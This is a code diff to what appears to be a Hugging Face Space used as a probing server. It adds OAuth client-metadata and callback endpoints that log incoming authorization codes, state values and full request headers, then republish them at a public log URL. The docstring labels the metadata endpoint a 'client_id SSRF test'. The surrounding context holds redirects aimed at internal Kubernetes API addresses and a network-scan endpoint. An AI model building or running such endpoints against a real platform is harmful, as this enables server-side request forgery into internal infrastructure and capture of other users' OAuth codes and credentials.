add oauth client metadata + callback logger endpoints
Browse files
app.py
CHANGED
|
@@ -720,6 +720,42 @@ async def r_k8s_8080(): return RedirectResponse("http://172.20.0.1:8080/api/v1",
|
|
| 720 |
@app.get("/r-k8s-pods.txt")
|
| 721 |
async def r_k8s_pods(): return RedirectResponse("https://kubernetes.default.svc/api/v1/pods", 302)
|
| 722 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 723 |
@app.get("/space-net-scan.txt")
|
| 724 |
async def space_net_scan():
|
| 725 |
import asyncio, aiohttp, ssl
|
|
|
|
| 720 |
@app.get("/r-k8s-pods.txt")
|
| 721 |
async def r_k8s_pods(): return RedirectResponse("https://kubernetes.default.svc/api/v1/pods", 302)
|
| 722 |
|
| 723 |
+
@app.get("/oauth-client-meta.json")
|
| 724 |
+
async def oauth_client_meta(request: Request):
|
| 725 |
+
"""OIDC client metadata doc — logs if HF OAuth server fetches this URL (client_id SSRF test)"""
|
| 726 |
+
entry = {"ts": time.time(), "path": "/oauth-client-meta.json", "method": "GET",
|
| 727 |
+
"headers": dict(request.headers), "client": request.client.host}
|
| 728 |
+
log.append(entry)
|
| 729 |
+
if len(log) > 200:
|
| 730 |
+
log.pop(0)
|
| 731 |
+
meta = {
|
| 732 |
+
"client_id": "https://xitro-env-probe.hf.space/oauth-client-meta.json",
|
| 733 |
+
"client_name": "Test Client",
|
| 734 |
+
"redirect_uris": ["https://xitro-env-probe.hf.space/oauth-callback"],
|
| 735 |
+
"response_types": ["code"],
|
| 736 |
+
"grant_types": ["authorization_code"],
|
| 737 |
+
"token_endpoint_auth_method": "none",
|
| 738 |
+
"scope": "openid profile"
|
| 739 |
+
}
|
| 740 |
+
return JSONResponse(meta)
|
| 741 |
+
|
| 742 |
+
@app.get("/oauth-callback")
|
| 743 |
+
async def oauth_callback(request: Request, code: str = "", state: str = "", error: str = ""):
|
| 744 |
+
"""OAuth callback — logs auth codes redirected here"""
|
| 745 |
+
entry = {"ts": time.time(), "path": "/oauth-callback",
|
| 746 |
+
"code": code, "state": state, "error": error,
|
| 747 |
+
"headers": dict(request.headers), "client": request.client.host}
|
| 748 |
+
log.append(entry)
|
| 749 |
+
if len(log) > 200:
|
| 750 |
+
log.pop(0)
|
| 751 |
+
return Response(f"code={code}\nstate={state}\nerror={error}\n", media_type="text/plain")
|
| 752 |
+
|
| 753 |
+
@app.get("/oauth-log.txt")
|
| 754 |
+
async def oauth_log_txt():
|
| 755 |
+
"""Show all OAuth-related log entries"""
|
| 756 |
+
relevant = [e for e in log if "oauth" in e.get("path", "").lower()]
|
| 757 |
+
return Response(json.dumps(relevant, indent=2) + "\n", media_type="text/plain")
|
| 758 |
+
|
| 759 |
@app.get("/space-net-scan.txt")
|
| 760 |
async def space_net_scan():
|
| 761 |
import asyncio, aiohttp, ssl
|